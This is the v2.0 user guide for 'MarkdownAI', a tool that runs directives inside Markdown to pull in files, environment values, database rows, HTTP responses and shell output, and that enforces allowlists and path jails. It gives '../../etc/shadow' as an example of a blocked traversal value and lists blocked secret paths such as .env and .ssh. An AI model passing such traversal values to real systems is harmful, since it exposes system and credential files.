User Guide - v2.0

MarkdownAI User Guide

the AI workflow engine - complete reference for every directive, security model, and CLI command.

npm install -g @markdownai/core
mai init

Overview

MarkdownAI solves a problem every team eventually hits: documentation lies. Not on purpose - it just gets old. The database schema changes, the API adds a field, the environment variable gets renamed, but the docs stay frozen at the moment someone last had time to update them.

MarkdownAI fixes this by making documents executable. Add @markdownai to the first line of any .md file and it becomes a live document. You can fetch the current state of your database, call an API, read a config file, run a shell command, count source files, or inject an environment variable - all inline, using a readable directive syntax that lives alongside your prose.

The document is rendered with mai render. Every directive runs, every data source is queried, and the final output is clean, standard Markdown. Strip the directives away with mai strip to get a static export. Or serve the document live to an AI assistant via the built-in MCP server.

6
npm packages
45+
directives
11
render formats
10
MCP tools

v2.0 highlights. Unified directive grammar - one parser shape for every directive. Close tags carry the directive name (@phase-end, @if-end, @foreach-end), self-closing form with trailing / for atomic directives, JSX-style > body separator. @on-complete X / replaces the v1 arrow transition. Synchronous MongoDB worker so @db actually queries Mongo. Struct labels (as=row) for dot-access on results. New sandbox builtins: parse_brief, read_section, extract_paths, now_iso, to_json, truncate, uuid_v4, allowed, and more. Cross-call session state via skill_session_id in the MCP server. Plugin loader and @markdownai-detect. New @touch directive for idempotent file scaffolding.

Breaking syntax change in v2.0. Bare @end, @endif, @endswitch, and @on complete -> X are no longer accepted. Pin to ^2.0.0 and run the migration tool once over each v1 file. See Migrating from v1 below for the five transformation classes and a worked example.

parser

AST production only - reads directives, never executes. Pure and inert.

renderer

11 output format modules: list, table, bar, tree, timeline, flow, and more.

engine

Execution, env resolution, pipelines, caching, and all security enforcement.

mcp

MCP server with 11 tools for AI assistants. Lazy phase loading.

core

The mai binary and all CLI commands.

vscode

Language detection, syntax highlighting, snippets, completions, hover, diagnostics.

Security is enforced at every layer. Jailed directives - database queries, HTTP calls, shell commands - are blocked by default and must be explicitly allowed. File access is confined to the document root. Content masking prevents credentials from appearing in rendered output. And a set of immutable rules block the most dangerous operations regardless of configuration.

Migrating from v1

v2 is a breaking syntax change. v1 documents do not parse under @markdownai/parser ^2.0.0. v1 stays on ^1.x and keeps working, so the safe path is to pin to ^2.0.0 in package.json and run the migration tool once over each v1 file.

Run the migration tool

node ~/projects/markdownai/packages/parser/scripts/migrate-v1-to-v2.mjs <file> --in-place

The script is idempotent - re-running on a v2 file is a no-op. It works on .md files. HTML and other source files with embedded MarkdownAI snippets need hand-editing.

The five transformation classes

Classv1v2
Close tags carry the directive name @end @<name>-end matching the opener (@phase-end, @foreach-end, @define-end, ...)
Conditional and switch aliases @endif, @endswitch @if-end, @switch-end
Phase transitions @on complete -> target @on-complete target /
Self-close on atomic directives @import path, @touch path="X", @call name @import path /, @touch path="X" /, @call name /
Multi-line directives normalize to block form Continuation lines on a single-line directive (silently dropped in v1) @<name> opener, attribute lines, @<name>-end close tag

Worked example

v1:

@phase 0_branch_check
  Run the branch guard before anything else.
  @call branch-guard
  @on complete -> 0_5_repo_version_check
@end

@if env.NODE_ENV == "production"
  @foreach feature in @list ./.mdd/docs/ match="*.md"
    - {{ feature }}
  @end
@endif

@switch {{ arg0 }}
  @case "audit"
    @include ./audit-mode.md
  @case "build"
    @include ./build-mode.md
@endswitch

@import ~/.claude/mdd/macros.md
@touch path="src/rules/parser.ts"

v2:

@phase 0_branch_check
  Run the branch guard before anything else.
  @call branch-guard /
  @on-complete 0_5_repo_version_check /
@phase-end

@if {{ env.NODE_ENV == "production" }}
  @foreach feature in {{ @list ./.mdd/docs/ match="*.md" }}
    - {{ feature }}
  @foreach-end
@if-end

@switch {{ arg0 }}
  @case "audit"
    @include ./audit-mode.md /
  @case "build"
    @include ./build-mode.md /
@switch-end

@import ~/.claude/mdd/macros.md /
@touch path="src/rules/parser.ts" /

What does not change

  • {{ }} interpolation syntax stays the same.
  • AST node shapes stay the same - only source-form parsing changes.
  • Engine execution semantics stay the same.
  • Security model - allowlists, jails, sandbox - stays the same.
  • Directive registry stays the same set of names.

Use a dedicated migration commit. Run the migration script over every .md file in the repo in one pass, commit with a clear message, then upgrade @markdownai/* to ^2.0.0 and update CI. This makes the syntax change reviewable in isolation.

Getting Started

Installation

Install @markdownai/core globally. That gives you the mai binary.

# Install globally
npm install -g @markdownai/core

# Verify it works
mai --version

# Install the AI hook (auto-detects Claude Code / Cursor)
mai init

Quick Start

1

Create your first document

The @markdownai header on line 1 is all it takes to make a file live.

@markdownai v2.0

# Project Status

Generated: {{ now_iso() }}
Version: {{ read ./package.json path="version" }}

## Source Files

@list ./src/ match="**/*.ts" type="files" as="list" /

## Environment

API URL: {{ env.API_URL ?? "http://localhost:3000" }}
2

Render it

mai render status.md

All directives run. Output is clean, standard Markdown printed to stdout.

3

Validate before sharing

mai validate status.md

Checks for missing required env vars, unclosed blocks, and broken file references without producing output.

4

Strip to static markdown

mai strip status.md -o dist/status.md

Removes all directives, resolves conditionals, produces plain markdown safe for any reader.

After mai init, every .md file that starts with @markdownai is automatically routed through the MarkdownAI engine when an AI assistant reads it. The AI always sees rendered, live output - not raw directive syntax.

Universal CLI Flags

These flags work on every mai command:

FlagEffect
--env <file>Load a .env file to supply environment variables
--cwd <path>Run as if you were in a different directory
--verbosePrint warnings and security events to the terminal
--strictTreat warnings as errors; halt on any security issue
--silentSuppress all output except fatal errors and security alerts

Inline Interpolation {{ }}

Inline interpolation lets you embed live values directly inside your prose using double curly braces. Instead of writing static text that goes stale, you pull in real data - environment variables, dates, file counts, computed values - right where the words are.

{{ expression }} works inside paragraphs, headings, list items, and table cells. It does not activate inside fenced code blocks or inline code spans, so your code examples stay untouched.

Operators

OperatorPurposeExample
??Fallback if value is missing{{ env.PORT ?? "3000" }}
?.Optional chaining{{ config?.server?.port }}
? :Ternary conditional{{ env.CI ? "CI mode" : "local" }}
\{{Escape - renders literal {{\{{ not evaluated }}

Examples

@markdownai v2.0

# Report - {{ now_iso() }}

Version: {{ read ./package.json path="version" }}

API endpoint: {{ env.API_URL ?? "http://localhost:3000" }}

Running in {{ file.exists "./config/prod.json" ? "production" : "development" }} mode.

Source files: {{ count ./src/ match="**/*.ts" }}

Expressions that cannot be resolved quietly become empty strings and log a warning. Run mai validate first to catch them before rendering.

@env Environment Variables

@env lets your documents read environment variables directly - so sensitive values like API keys, database URLs, or deployment settings never have to be hardcoded. You can declare fallback values for when a variable isn't set, keeping your documents functional across environments.

Syntax

@markdownai v2.0

# Variable as a standalone paragraph (renders the value)
@env API_BASE_URL /

# Variable with a fallback - renders "https://api.example.com" when unset
@env API_BASE_URL fallback="https://api.example.com" /

# Required - mai validate fails if unset
@env DATABASE_URL required /

# Required and masked - never appears in rendered output
@env SECRET_KEY required masked /

# Inline usage anywhere in prose
The API is at {{ env.API_BASE_URL ?? "http://localhost:3000" }}.

Resolution Order

When resolving a variable, mai checks these sources in order and uses the first match:

1

Shell environment

Always wins. Variables set in your terminal or CI environment take priority over everything.

2

--env file

Any .env file passed via mai render --env .env.production.

3

@import fallbacks

Fallbacks registered in files you've imported with @import.

4

Inline fallback

The fallback= value on the directive itself.

5

Empty string

No error thrown - document renders with an empty value. required overrides this and fails validation instead.

@define and @call Macros

Macros let you define reusable content blocks once and insert them anywhere. This eliminates copy-pasting repeated content and keeps documents consistent when shared values change.

Basic Macro

@define disclaimer
  This report is generated automatically and may contain estimates.
@define-end

# Section One

@call disclaimer /

# Section Two

@call disclaimer /

Macro with Parameters

Use {{ param || "default" }} inside the body to accept values at call time with an optional fallback:

@define greeting
  params=name,role
>
  Hello, {{ name || "reader" }}. Your role is {{ role || "viewer" }}.
@define-end

@call greeting name=Alice role=Admin /
@call greeting name=Bob /

Local Scope

Add local=true as an attribute to keep the macro scoped to the current file - it won't bubble up to parent documents that include this file:

@define internal-note
  local=true
>
  For internal review only - do not distribute.
@define-end

@call internal-note /

Macros Can Contain Any Directive

Macros can include data fetches, conditionals, other @call directives - anything that is valid in a document body.

Macros are not rendered at definition time. The @define block produces no output. Output only appears when you use @call.

@include Content Inclusion

The @include directive pulls another Markdown file's content directly into your document at that point - as if you had written it there yourself. Any macros, connections, or environment fallbacks defined in the included file automatically become available to the rest of your parent document.

@markdownai v2.0

# Full Report

@include ./sections/header.md /

@include ./data/metrics.md @cache session /

@if {{ env.TIER == "enterprise" }}
  @include ./sections/enterprise-features.md /
@if-end

@include ./sections/footer.md /

Rules

  • Paths are relative to the file containing the directive.
  • Absolute paths and paths navigating above the document root are always blocked.
  • To include specific line ranges from a source file: @include ./src/auth.ts lines=10-45 /
  • Circular reference detection is automatic - an error halts rendering and shows the full chain.
  • Including a file multiple times is valid and intentional repetition is supported.
  • Mark definitions with local=true inside included files to prevent them bubbling up to the parent.

Dynamic Paths

Put {{ expression }} anywhere in the file path. The expression runs in the same sandbox as @if conditions, so arg0, ARGUMENTS, env.*, and any @foreach loop variable all work.

This turns a five-branch @if/@elseif chain into one line:

@markdownai v2.0

@include ./{{arg0}}-mode.md /

Add a JS || default for when no argument is passed:

@include ./{{arg0 || 'audit'}}-mode.md /

Inside a @foreach loop the loop variable works directly in the path:

@foreach section in intro,body,appendix
  @include ./{{section}}.md /
@foreach-end

The expanded path goes through the same jail check as a static include. Dynamic traversal (e.g. a caller passing ../../etc/shadow as an argument) is caught and blocked.

@import Definition Import

@import brings in macros, database connections, and environment variable defaults from another file - without rendering any of that file's content. This is how you maintain a central "definitions library" shared across many documents.

@markdownai v2.0

@import ./shared/connections.md /
@import ./shared/macros.md @cache session /

# My Document

@call header-block /

@db
  using="reports"
  find="orders"
  where='status == "pending"'
@db-end

Note the v2 attribute style: each attribute on its own indented line, ending with @db-end.

What @import Brings In

  • @define macros - available via @call throughout the importing document
  • @connect connections - available by name in @db blocks
  • @env fallbacks - register defaults without outputting values

Diamond Dependencies

If two files both import the same third file, the second import is a silent no-op. Definitions are registered once. This handles diamond dependency graphs safely without duplication or errors.

@import vs @include: Use @import when you want definitions without content. Use @include when you want the file's rendered content to appear in your document.

@if Conditionals

Show or hide sections based on conditions - environment, file existence, or data values. The same expression system works inside @if conditions, where filters on data queries, and {{ }} interpolations. Learn the operators once and they work throughout.

@markdownai v2.0

@if {{ env.APP_ENV == "production" }}
  This section only appears in production builds.
@else
  You are viewing a non-production build.
@if-end

@if {{ file.exists("./config/custom.json") }}
  Custom configuration detected.
@elseif {{ file.isDir("./config") }}
  Config directory found but no custom.json.
@else
  No configuration found.
@if-end

@if {{ env.ROLE == "admin" && env.REGION == "us-east" }}
  Admin dashboard - US East region.
@if-end

Expression Operators

OperatorMeaning
== / !=Equal / not equal
< / > / <= / >=Numeric comparisons
&& / || / !Logical AND, OR, NOT
.startsWith() / .endsWith() / .includes()String methods
file.exists / file.isFile / file.isDirFilesystem checks
file.containsLine(path, regex)Multiline regex test against a file's content.
file.containsSection(path, heading)True if the file has an ATX heading matching heading. Pass with #s to match a specific level.
file.frontmatterField(path, field)Returns a YAML frontmatter scalar from path. Empty string if missing.
match "pattern"Regex match (see match operator section)
allowed(value, list, opts?)Returns value if it is in list (array or single string), false otherwise. Combine with || to provide a safe default: {{ allowed(arg0, ["a","b"]) || "a" }}. Pass {ignoreCase: true} for case-insensitive matching.

File Helpers

Three filesystem helpers run inside the same sandbox as file.exists. They let you branch on the actual content of a file without using a separate @read beforehand.

@markdownai v2.0

@if {{ file.containsLine("./README.md", ".*\\[CRITICAL\\].*") }}
  Critical items exist - block the release.
@if-end

@if {{ file.containsSection("./doc.md", "## Bugs") }}
  Known bugs section is present.
@if-end

@if {{ file.frontmatterField(".mdd/docs/01-mdd.md", "status") == "complete" }}
  This doc is shipped.
@if-end

containsLine takes a regex and tests it against the whole file content (multiline). containsSection matches an ATX heading on its own line; pass with #s to require a specific level. frontmatterField returns the scalar value of a YAML key in the frontmatter, or an empty string if the key or file is missing.

Always supply --env when stripping or rendering documents with conditionals. Run mai validate first to catch unset variables before they silently evaluate to false.

@switch - Multi-Branch Conditional

When you have more than a couple of branches, @switch is cleaner than a chain of @if/@elseif. It evaluates one expression and renders the first @case whose value matches.

@switch {{ argsList[0] }}
  @case "build"
    Running build mode...
  @case "audit"
    Running audit mode...
  @case "status"
    Running status check...
  @default
    Unknown command. Try: build, audit, status.
@switch-end

Both the switch expression and each @case value support {{ }} dynamic expressions - the same sandbox as @if, so env.*, argsList, arg0, @foreach loop variables, and all other context values work.

@switch {{ env.APP_ENV }}
  @case "production"
    Live data - changes are permanent.
  @case {{ env.STAGING_LABEL }}
    Staging environment.
  @default
    Development mode.
@switch-end

Restricting Values with allowed()

Wrap the switch expression in allowed() to lock it down to a known set. If the argument isn't on the list, allowed() returns false and the || default takes over before the switch runs - no unexpected branches:

@switch {{ allowed(argsList[0], ["audit","build","op"]) || "build" }}
  @case "build"
    Running build mode...
  @case "audit"
    Running audit mode...
  @case "op"
    Running op mode...
@switch-end

This also works in @if conditions and {{ }} interpolations. The second argument can be an array or a single string. Pass {ignoreCase: true} as a third argument for case-insensitive matching.

Rules:
  • First matching case wins - no fall-through.
  • @default is optional; if absent and nothing matches, the block produces empty output.
  • @case "default" matches the string "default" - it does not trigger the @default block.
  • Nesting works: @switch inside @foreach, @if, or another @switch.
  • Closes with @switch-end.

Pipe Operator and @render

The pipe operator | connects a data source through one or more transform steps to a final @render sink - all on a single line. This brings Unix-style composability to your documents.

@markdownai v2.0

# TypeScript Files

@list ./src/ | grep \.ts$ | sort | @render type="numbered" /

# Active Users

@db
  using="primary"
  find="users"
  where='active == true'
@db-end
| @render type="table" /

# File Count

There are {{ @list ./src/ | wc -l }} TypeScript files in this project.

# Shorthand with "as"

@list ./data/users.json path="users" as="table" /

Built-in Transforms (Cross-Platform)

These run as pure Node.js code - no shell required, works on Windows, macOS, and Linux:

TransformEffect
sortSort lines alphabetically
sort -nSort numerically
sort -rSort in reverse
grep patternKeep lines matching pattern
grep -v patternKeep lines NOT matching
grep -i patternCase-insensitive match
head -NKeep first N lines
tail -NKeep last N lines
uniqRemove consecutive duplicates
wc -lCount lines

Shell Transforms (Unix/WSL only)

awk, sed, jq, cut - spawn child processes. On Windows without WSL they are automatically skipped with a warning.

@render Format Types

TypeOutput
listUnordered bullet list
numberedOrdered numbered list
linksList of clickable markdown links
tableGrid table with headers. Use columns="name,version" to pick fields
codeFenced code block
inlinePlain text - for embedding a scalar value in a sentence
barHorizontal ASCII bar chart. Use label="field" value="field"
flowASCII flow diagram with arrows
treeASCII indented tree for nested data
timelineLeft-to-right ASCII timeline
jsonPretty-printed JSON in a fenced code block

@list Source Directive

@list is the primary way to enumerate things in a MarkdownAI document - files on disk, items from a JSON array, rows from a CSV. Results appear directly in your document as a table, list, or any other format you choose.

Options

OptionControlsDefault
matchGlob pattern for filesystem listing*
typeWhat to list: files, dirs, or bothfiles
depthHow many folder levels deepUnlimited
pathDot-notation key into a JSON fileRoot
modeHow to read a JSON object: keys, values, entriesNone
columnsFields to show and their labels: key:Label,key2:Label2All fields
whereFilter rows by a field valueNone
asOutput format shorthand: table, listNone
@cacheCache result: session, persist, ttl=NNone

Examples

@markdownai v2.0

# TypeScript Source Files

@list ./src/ match="**/*.ts" type="files" /

# Active Users from JSON

@list ./data/users.json path="users" where="status:active" as="table" /

# npm Dependencies

@list ./package.json path="dependencies" mode="entries" columns="key:Package,value:Version" /

# CSV Product Catalog

@list ./data/products.csv columns="sku:SKU,name:Product,price:Price" where="inStock:true" /

@read Source Directive

@read pulls a specific value or slice of data from a structured file into your document. Supports JSON, YAML, TOML, CSV, and .env files.

@markdownai v2.0

# Configuration

Database host: @read config.json path="database.host" /
Server port: @read config.yaml path="$.server.port" /

# Active Users

@read users.csv where="status=='active'" columns="name:Name,email:Email" /

# Version

Package version: {{ read ./package.json path="version" }}

Options

OptionApplies ToDescription
path="dot.notation"JSON, YAML, TOMLNavigate to a nested value. Supports [n] array indices.
key="KEY_NAME".envLook up a single flat key
column="name"CSVExtract one column; one value per line
where=CSVFilter rows using an expression
columns="key:Label,..."CSVSelect and rename multiple columns
collapse trueAnyStringify nested objects inline
as="type"AnyControl output rendering format
@cacheAnyCache the file read result

.env files are blocked by security rules. You cannot read a .env file with @read using path= - use key= instead, and only for non-sensitive keys.

@tree, @date, @count

Three utility directives that display live directory structures, inject current or file-modified dates, and count files. All three also work inside {{ }} expressions.

@tree - Directory Listing

@tree ./packages/ depth=2 /
@tree ./src/ depth=3 type=dirs /
@tree ./src/ match="*.ts" depth=2 /

@date - Dates and Timestamps

Generated: @date format="YYYY-MM-DD" /
Full timestamp: @date format="YYYY-MM-DD HH:mm:ss" /
File modified: @date file="./CHANGELOG.md" type="modified" /

Inline: Last updated {{ date format="MMMM D, YYYY" }}.

# v2 sandbox builtin equivalent
Generated: {{ now_iso() }}

Date Format Tokens

TokenOutput
YYYY4-digit year: 2026
MM2-digit month: 05
DD2-digit day: 19
HH24-hour hour: 14
hh12-hour hour: 02
mmMinutes: 30
ssSeconds: 45
A / aAM/PM / am/pm
ISOFull ISO 8601 string
XUnix timestamp (seconds)
xUnix timestamp (milliseconds)

@count - File Counter

# Source Statistics

TypeScript files: @count ./src/ match="**/*.ts" type=files /
Test files: @count ./src/ match="**/*.test.ts" type=files /
Directories: @count ./src/ type=dirs /

Inline: This package has {{ count ./src/ match="**/*.ts" }} source files.

@connect and @db

@connect registers named database connections. @db queries them. Both are jailed - database access is disabled by default and must be enabled in your security config before either directive does anything.

@connect - Connection Registry

@markdownai v2.0

@connect reports type="mongodb" uri=env.MONGODB_URI /
@connect analytics type="postgres" uri=env.ANALYTICS_PG_URI /
@connect local type="sqlite" uri=env.SQLITE_PATH local=true /

Supported types: mongodb, postgres, mysql, mssql, sqlite, redis, elasticsearch

@db - Query Operations

Pick exactly one operation per @db directive:

OperationWhat It Does
find="collection"Returns multiple rows matching your filter
one="collection"Returns the first matching row
count="collection"Returns a row count
aggregate="collection"Groups and summarizes rows
raw="SQL string"Native query passthrough (requires explicit opt-in)
# Active Users

@db
  using="reports"
  find="users"
  where='active == true'
@db-end
| @render type="table" /

# Orders by Status (bar chart)

@db
  using="reports"
  aggregate="orders"
  group="status"
  count=true
@db-end
| @render type="bar" /

# Single Record - struct label for dot-access

@db
  using="reports"
  one="users"
  where='email == env.ADMIN_EMAIL'
  as=row
  label=admin
@db-end

Admin name: {{ admin.name }}

# Count Pending - inline

Pending orders: {{ @db using="reports" count="orders" where='status == "pending"' / }}

The as=row label=feature pair is new in v2. It captures the result into ctx.data[label] as a structured value, so {{ feature.field }} dot-access works on real arrays and nested objects.

Common @db Options

OptionDescription
using="name"Named connection from @connect
uri=env.VARInline connection URI - no @connect needed
where="expression"Filter condition
sort="field:asc"Sort order
limit=NMax rows to return
columns="field:Label,..."Select and rename output fields
as="table"Shorthand for | @render type="table"
@cacheAlways the last token: session, persist, mock=./file.json

Connections use environment variables, never hardcoded credentials. When mai renders to static output, all @connect directives are stripped.

@http HTTP Requests

@http lets you embed live data from any web API directly in your document. By default it produces no output - the target domain must be on your allowlist before any request is made.

@markdownai v2.0

# API Version

@http
  url="https://api.example.com/status"
  path="version"
@http-end

# Authenticated Request

@http
  url=env.API_URL
  headers="Authorization=env.API_TOKEN"
  path="data.summary"
@http-end

# JSON Array Filtered and Rendered

@http
  url="https://api.example.com/deployments"
  columns="env:Environment,status:Status"
  where="status == 'failed'"
  as="table"
@http-end

# With Caching

@http
  url="https://api.example.com/metrics"
  @cache persist ttl=3600
@http-end

Options

OptionDefaultDescription
url=RequiredThe endpoint. Use url=env.VAR to keep URLs out of the document.
method=GETHTTP verb. POST/PUT/DELETE require explicit permission in security config.
path=-Dot-path selector into the JSON response
body=-Request body. Only valid for non-GET methods.
headers=-Comma-separated headers. Literal credentials are masked automatically.
expected=-Assert a specific HTTP status code
@cache-session, persist, ttl=N, or mock=./file.json

@query Shell Commands

@query runs a shell command and injects its output into the document. Every command must be on your allowlist - commands not on the list are silently stripped. Shell execution is disabled by default.

@markdownai v2.0

# Repository Status

Current branch: @query "git branch --show-current" /

Recent commits:
@query "git log --oneline -5" /

# Dependency Audit

@query "npm audit --json" @cache session /

# Named Output for Reuse

@query "git branch --show-current" label=branch /

@if {{ branch.match("^feat") }}
  On a feature branch: {{ branch }}
@if-end

Key Points

  • Disabled by default. Enable with mai security shell enable.
  • Every command must match an allowlist pattern before it runs.
  • Use label=name to store the result for reuse in conditions and other directives.
  • On error, produces empty string and logs a warning. Pass --strict to make errors fatal.
  • Cross-platform when using git, node, npm - not when using bash-specific syntax.

@phase, @on-complete, @graph

@phase divides a document into named workflow stages. Only the active phase loads into AI context at a time, keeping large multi-step documents focused. @graph draws a Mermaid diagram of your workflow for human readers.

@markdownai v2.0

@phase intake
>
  Gather open support tickets.
  @http
    url=env.TICKET_API
    path="tickets.open"
    as="table"
  @http-end
  @on-complete triage /
@phase-end

@phase triage
>
  Review tickets and assign priority.
  @call load-assignment-rules /
  @on-complete archive /
  @on-complete @notify_team /
@phase-end

@phase archive
>
  Move resolved tickets to long-term storage.
  @db
    using="primary"
    find="tickets"
    where='status == "resolved"'
  @db-end
  | @render type="table" /
@phase-end

Workflow Diagram (documentation only)

```mai-graph
graph LR
  intake --> triage --> archive
```

Rules

  • @phase blocks are only valid in the root document. Using them in an @import-ed file is a parse error.
  • @on-complete is only valid inside a @phase ... @phase-end block.
  • Multiple @on-complete lines execute sequentially, top to bottom.
  • Run a specific phase with: mai render doc.md --phase phasename
  • The MCP server automatically loads only the active phase, not the whole document.
  • v2 adds skill_session_id for cross-phase state - @set values persist across resolve_phase calls so a skill can collect data in phase 1 and read it back in phase 5.

@foreach and @set

Two directives that turn linear documents into actual programs. @foreach walks a list source and renders its body once per item. @set binds a value to a variable so you can reuse a directive's result several times without re-running it.

@markdownai v2.0

# Per-feature status

@foreach doc in {{ @list ./.mdd/docs/ match="*.md" }}
  @read-frontmatter path="{{ doc }}" field="status" label=status /
  - {{ doc }}: {{ status }}
@foreach-end

# Bind once, use many times

@set today = {{ now_iso() }} /
@set release_branch = "release/{{ today }}" /

Cutting branch {{ release_branch }} for the {{ today }} release.

@foreach Source Expressions

The right side of in accepts any of these:

  • A nested directive that produces lines: @list ./files match="*.md", @read ./tags.txt, @tree ./src.
  • A list-valued frontmatter field via @read-frontmatter: comma-joined list returns each value as one iteration.
  • A {{ label }} interpolation that resolves to multi-line text.
  • A comma-separated literal: "alpha,beta,gamma".

Each iteration binds the loop variable into the engine's value table. Nested directives in the body see {{ var }} substituted into their args before they fire. After the loop the binding is gone.

@set Right-hand Sides

  • Literal: @set status = "active" /. Quotes around strings; numbers and booleans literal.
  • Builtin call: @set today = {{ now_iso() }} /. The sandbox builtin runs once and its return value becomes the binding.
  • Interpolation: @set greeting = "Hello {{ name }}" /. Resolves {{ }} placeholders against existing bindings.

A bound name is available to every directive and interpolation that follows it in the same document. @foreach bindings shadow outer @set bindings inside the loop and restore on exit.

@foreach with Dynamic @include

The loop variable is available in {{ }} path expressions on @include, so you can include a different file per iteration without any conditional logic:

@markdownai v2.0

@foreach section in intro,features,pricing,faq
  @include ./sections/{{section}}.md /
@foreach-end

Each iteration includes a different file. If a file is missing, a warning is emitted and that iteration produces no output - the loop continues.

@template and @data

@template inlines another MarkdownAI document at the call site and binds it to a data context, like a partial in Angular or Vue. @data composes a single object from any in-scope values so the same composite can feed multiple template renders. Together they let you reuse the same rendered fragment for a list of database rows, a paginated response, or any other collection - including from inside an @foreach - while keeping every existing file-resolution, security, and scope rule intact.

@markdownai v2.0

@db users from=mainDb query="SELECT * FROM users" label=users /
@set siteName = "Acme" /

@data myReport
  ...baseConfig
  users = users
  site.name = siteName
  site.theme = "dark"
@data-end

@template ./summary.md data=myReport /

@foreach row in {{ users }}
  @template ./user-card.md data=row /
@foreach-end

@template

@template <path> data=<expression> [as=<name>] / reads the partial, parses it as a full MarkdownAI document (every directive that works in a top-level document works inside the partial), and renders it inline. The expression you pass with data= is evaluated against the caller's current scope and bound to {{ data.* }} inside the partial. Use as=<name> to expose the binding under a different name - useful when partials are nested and the inner one also wants data for its own caller.

@template is single-line in the v2 syntax - the trailing / is required. Path rules match @include: relative only, no absolute paths, no .. traversal. The file read goes through the same filesystem-confinement gate as @include / @read, and circular references between partials produce the standard fatal error with the full chain printed.

@data

@data <name> ... @data-end opens a block whose body is a list of <key> = <expression> assignments and ...<expression> spreads. Each entry is evaluated through the same engine that powers @set and @foreach, so any directive call, interpolation, or literal that works there works here. Dot-notation keys build nested objects (site.name = "Acme" and site.theme = "dark" produce { site: { name: 'Acme', theme: 'dark' } }). Spread lines deep-merge another object into the composite at that point; later entries override earlier ones, so a default block plus a single overriding line is a clean variant pattern.

The composed object is stored under <name> in the same scope as @set variables, ready to be passed to one or many template calls or referenced directly as {{ <name>.field }}.

Scope model

Reads inherit. The partial sees the caller's @set values, @db results, @connect connections, macros, and env fallbacks. Writes are sandboxed: any @define, @connect, @set, or @env executed inside the partial stays local to that render. This is the deliberate difference from @include's bubble-up behavior and the reason @template is safe to call repeatedly inside @foreach without name collisions piling up.

@read-frontmatter and @hash

Two targeted read directives for the cases where @read by itself returns too much. @read-frontmatter pulls a single YAML field out of a document's frontmatter without parsing the body. @hash produces a content hash for change detection or doc-integrity checks.

@markdownai v2.0

@read-frontmatter path=".mdd/docs/01-mdd.md" field="status" label=mdd_status /
The mdd doc is currently: {{ mdd_status }}.

@hash path=".mdd/docs/01-mdd.md" algo=sha256 length=8 label=mdd_hash /
Content hash: {{ mdd_hash }}.

@hash path="CHANGELOG.md" algo=sha256 exclude-line="^date:" label=changelog_hash /

@read-frontmatter Behavior

  • Scalar fields return the trimmed value. status: complete returns complete.
  • YAML lists return values joined with commas. Use with @foreach to iterate without splitting yourself.
  • Missing fields return an empty string. No warning, no error - intentional for conditional checks.
  • The path is jailed against data_root (see Filesystem Confinement).

@hash Options

OptionEffect
pathFile to hash. Required. Resolves against data_root.
algoHash algorithm: sha256, sha1, md5, or any algorithm supported by Node's crypto.createHash. Defaults to sha256.
lengthTruncate the hex digest to N characters. Useful for short fingerprints (length=8).
exclude-lineRegex. Lines matching this pattern are removed before hashing - lets you exclude self-referencing fields like hash: in frontmatter.
labelStore the digest in a label for reuse downstream.

@test and @check

@test runs the project test suite. @check runs typecheck, lint, or build. Both inline the runner's full combined output where the directive sits and expose three labels: label (full text), label_exit (numeric exit code), and label_summary (optional one-line summary detected from known runners).

@markdownai v2.0

# Test suite

@test command="pnpm test" label=test_results /

@if {{ test_results_exit == "0" }}
  All tests pass.
@else
  Failures detected. See output above.
@if-end

# Typecheck + lint

@check command="tsc --noEmit" label=typecheck /
@check command="eslint ." label=lint /

v2 adds npx vitest, npx playwright, pnpm test, tsc, and other common test runners to the default allowlist - they work without manual ~/.markdownai/security.json edits.

Auto-detection

Both directives auto-detect when command= is omitted:

  • @test reads scripts.test from package.json.
  • @check tries scripts in this order: typecheck, check, lint, build (whichever exists first).

Output Labels

LabelContents
{{ label }}Full combined stdout+stderr from the runner. Verbatim, no truncation.
{{ label_exit }}Numeric exit code as a string. Compare with @if {{ label_exit }} == "0".
{{ label_summary }}Optional one-line summary detected from vitest, jest, playwright, tsc, eslint, prettier. Empty string when not recognized.

Both directives have a 5-minute timeout. The shell allowlist applies - configure permitted commands under shell.allow_patterns in your security config.

Write Directives

Six directives that mutate the filesystem from inside a document. @touch, @mkdir, @copy, and @append-if-missing handle bootstrap scaffolding. @update-frontmatter mutates a single YAML field. @render-template generates a file from a template with injected variables.

All obey the same gate: writes are off by default. Turn them on by setting filesystem.write_enabled = true in your security config. The write_root and allowed_write_paths rules then determine where writes are allowed.

@markdownai v2.0

# Scaffold a project area

@touch path="src/rules/parser.ts" /
@mkdir .mdd /
@mkdir .mdd/docs recursive=true /
@copy from="./templates/mdd.md" to=".mdd/mdd.md" if-missing /
@append-if-missing path=".gitignore" text=".mdd/audits/" /

# Update a single field in a doc

@update-frontmatter
  path=".mdd/docs/01-mdd.md"
  field="status"
  value="complete"
@update-frontmatter-end

@update-frontmatter
  path=".mdd/docs/01-mdd.md"
  field="tags[append]"
  value="shipped"
@update-frontmatter-end

# Generate a test file from a template

@render-template
  from="./templates/unit.test.ts.template"
  to="tests/unit/auth.test.ts"
>
  feature_name=auth
  has_endpoints=true
@render-template-end

@touch

New in v2. Idempotent empty-file creation. Creates the file if it does not exist, leaves it alone if it does. Useful for scaffolding before another step writes content into the file.

@mkdir

Creates a directory. Recursive by default - intermediate directories are created in the same call. Pass recursive=false to require the parent to already exist.

@copy

Copies a file from a source path to a destination path. from= resolves against data_root; to= resolves against write_root. The destination's parent directories are created automatically. Pass if-missing to make the copy idempotent - skipping the operation if the destination already exists. This is the common pattern for bootstrap files that should be created once and never overwritten.

@append-if-missing

Appends a line to a file only if the exact text isn't already present. No-op if the file doesn't exist (use @copy or @mkdir first if you need to ensure presence). Designed for adding entries to .gitignore, .env.example, or other config files without creating duplicates on repeated runs.

@update-frontmatter

Sets a single YAML frontmatter field. The doc body is untouched. Supports nested paths and list addressing:

Field syntaxEffect
statusSet top-level scalar field.
tags[append]Append a string to a YAML list. Creates the list if absent.
tags[1]Set the second element of a block-style YAML list (0-indexed). Out-of-range index logs a warning.
satisfies[0].statusSet a sub-field of the first element in a list of objects.

List indexing requires block-list YAML (one item per line, - prefixed). Inline list mutation isn't supported except for [append].

@render-template

A block directive. Reads a template file, substitutes {{ key }} placeholders with the parameters you supply between the > body separator and @render-template-end, and writes the result to to=. Idempotent by default - skips if the destination exists; pass force to overwrite.

The template can be plain text with {{ }} placeholders, or a full MarkdownAI document with its own directives. In the latter case directives execute in the template's context with the supplied parameters in scope. The template path resolves against data_root; the output path against write_root.

Path-jail safety. Even with write_enabled = true, the write directives respect write_root and allowed_write_paths. Immutable always-block rules (.env, **/.ssh/**, *credentials*, etc.) still apply and cannot be overridden.

@event Event Broadcast

